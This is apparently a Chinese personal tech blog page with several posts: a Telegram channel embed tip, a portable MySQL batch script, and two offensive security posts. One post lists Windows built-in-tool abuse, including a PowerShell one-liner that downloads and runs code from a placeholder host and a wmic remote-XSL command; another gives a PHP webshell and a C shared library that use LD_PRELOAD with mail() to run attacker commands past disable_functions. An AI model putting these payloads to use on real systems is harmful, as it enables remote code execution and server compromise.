<iframe src="https://other.9bie.org" style="width:100%;height:400px"></iframe>其中width和height根据你自己的喜好大小来定。

然后再随便找个文章置顶插件就行。或者你直接编辑你主题的代码放上去也不是不行,我前端实在垃圾,就直接弄成文章版本的了。

Tags: tg, 频道

不来关注一个吗?

因为某种不可抗力原因,Join按钮得右键新标签页打开( 或者 @bie_channel

Tags: none

绿色版Mysql制作

手头买了一个500G的SSD移动硬盘,带外壳的。虽然感觉翻车风险挺高,但是到手了,容量是真的也不是清零盘,速度也还ok,也就那样吧。
然后想了想,可不可以把这弄成一个工具包呢?
因为某些原因,要接触到各种大数据处理,所以想内置各代各种环境。
原本是想用音速启动的,后来想了想算了,还不如直接用文件管理,然后用各种ini魔改美化一下就差不多了。
接下来就是环境的问题,然后,就在这短短几天内,咱成为了bat小天才了。
自动识别盘符,自动提升权限。自动加环境变量以及启动服务。
使用方法,就是放在你的盘符下然后修改里面的变量为相对路径就行。
同理也可以制作其他的绿色版的玩意,比如窝目前整了个postgresql啊,mongodb啊什么的。。。
脚本如下:

cls 
@echo off
chcp 65001
:设置窗口字体颜色
color 0a 
:设置窗口标题
TITLE MySQL管理程序
set MYSQL_HOME=%~dp0LIB\mysql5.7\ :这里改成你Mysql的路径
echo MYSQL_HOME=%MYSQL_HOME%LIB\mysql5.7\
set PATH=%MYSQL_HOME%/bin;%PATH%
goto :init
  
goto menu
:菜单
:menu
cls
echo. 
echo.=-=-=-=-请选择您要对MySQL的操作-=-=-=-=-
echo.
echo.1: 启动MySQL
echo.
echo.2: 关闭MySQL
echo. 
echo.3: 命令行
echo. 
echo.4: 退 出
echo.
echo.=-=-=-=-请输入您要选择的项目序号↓-=-=-=-
set /p id=
if "%id%"=="1" goto startup
if "%id%"=="2" goto close
if "%id%"=="3" goto console
if "%id%"=="4" exit
pause
  
:启动
:startup

del /F LIB\mysql5.7\my.ini
echo [client] >> LIB\mysql5.7\my.ini
echo port = 3306 >> LIB\mysql5.7\my.ini
echo default_character_set=gbk >> LIB\mysql5.7\my.ini
echo [mysqld] >> LIB\mysql5.7\my.ini
rem echo default_character_set=utf8 >> LIB\mysql5.7\my.ini
echo default_storage_engine=InnoDB >> LIB\mysql5.7\my.ini
echo basedir=%MYSQL_HOME%>>LIB\mysql5.7\my.ini
echo datadir=%MYSQL_HOME%data>> LIB\mysql5.7\my.ini
rem echo innodb_data_file=ibdata1:50M;ibdata2:10M:autoextend >> LIB\mysql5.7\my.ini
echo transaction-isolation=READ-COMMITTED >> LIB\mysql5.7\my.ini
echo port=3306 >> LIB\mysql5.7\my.ini
echo max_allowed_packet = 64M >> LIB\mysql5.7\my.ini
echo "my.ini in %MYSQL_HOME% created."
set PATH=%MYSQL_HOME%/bin;%PATH%
rem if exist "%MYSQL_HOME%/bin/mysqld-nt.exe" call mysqld-nt --install-manual mysql57 --defaults-file="%MYSQL_HOME%/my.ini"
if not exist "%MYSQL_HOME%/data" call mysqld --initialize-insecure 
call mysqld --install-manual mysql57 --defaults-file="%MYSQL_HOME%my.ini"
call net start mysql57
echo.启动Mysql成功.....
pause
goto menu

:停止
:close
echo.
echo.关闭MySQL......
net stop "mysql57"
sc delete mysql57
echo.关闭MySQL成功!
pause 
goto menu
  
:重启
:console
echo.
cmd /k
  
:退出
:goout
pause
goto menu

  
:检查是否是以管理员身份运行
:init
setlocal DisableDelayedExpansion
set "batchPath=%~0"
for %%k in (%0) do set batchName=%%~nk
set "vbsGetPrivileges=%temp%\OEgetPriv_%batchName%.vbs"
setlocal EnableDelayedExpansion

:checkPrivileges
NET FILE 1>NUL 2>NUL
if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges )

:getPrivileges
if '%1'=='ELEV' (echo ELEV & shift /1 & goto gotPrivileges)
ECHO.
ECHO **************************************
ECHO Invoking UAC for Privilege Escalation
ECHO **************************************

ECHO Set UAC = CreateObject^("Shell.Application"^) > "%vbsGetPrivileges%"
ECHO args = "ELEV " >> "%vbsGetPrivileges%"
ECHO For Each strArg in WScript.Arguments >> "%vbsGetPrivileges%"
ECHO args = args ^& strArg ^& " "  >> "%vbsGetPrivileges%"
ECHO Next >> "%vbsGetPrivileges%"
ECHO UAC.ShellExecute "!batchPath!", args, "", "runas", 1 >> "%vbsGetPrivileges%"
"%SystemRoot%\System32\WScript.exe" "%vbsGetPrivileges%" %*
exit /B

:gotPrivileges
setlocal & pushd .
cd /d %~dp0
if '%1'=='ELEV' (del "%vbsGetPrivileges%" 1>nul 2>nul  &  shift /1)
goto menu
Tags: mysql

浅谈windows下的白文件利用

最基础的就是windows自带服务
例如RDP。telnet。等等
之后再比如powershell:

powershell.exe -nop -whidden -c IEX ((new-objectnet.webclient).downloadstring('http://x.x.x.x:81/aa'))

wmic.exe:

cmd/c wmic os get /format:"\\x.x.x.x\1.xsl"&start/wait notepad

csc.exe:

"C:/Windows/Microsoft.NET/Framework64/v2.0.50727/csc.exe" /noconfig /fullpaths @"C:/Users/a/AppData/Local/Temp/l1xso2zu.cmdline"

等无落地方式执行

Tags: none

老调重提,谈谈Bypass disable_function

640.png
当你插入webshell的时候,就会遇上这个问题,php.ini中,把能执行命令的函数(例如system)等,都禁掉了怎么办呢?

这时候,就可以参考之前那个

新坑预定:linux下的进程/文件隐藏

中,使用了LD_PRELOAD 环境变量。这个变量名字在当时说的很清楚了

设置了这个环境变量后,linux会优先加载这个环境变量下的动态链接库程序。

那么理论上,我们只需要找到一个会调用库函数的php内置方法,然后再上传我们的so文件,劫持这个库文件添加到LD_PRELOAD全局变量中,那么系统就会自动帮我们调用我们的so文件达到getshell的效果了。

然而前提是,你的disable_function没有禁putenv这个函数,否则以上都是空话了。

使用例子,putenv+mail函数

<?php
    $cmd = $_POST['cmd'];
    putenv("EVIL_CMDLINE=" . $cmd);
    $so_path = $_POST['so'];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    unlink($out_path);
?>

以及对应的so文件:reinstall.rar
代码如下:

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

其实知晓原理我们自己编写一份也挺简单的,先找到目标函数,去github/各种地方找到函数的原型,因为这次我们不是要HOOK而是直接getshell,原功能可以废弃,所以可以直接把内部实现方法掏空,替换成我们需要执行命令的代码,只需要请求参数和返回参数相同,不让程序崩溃,那么效果就可以达到了。详情可以参考我上面给出的那个连接

Tags: php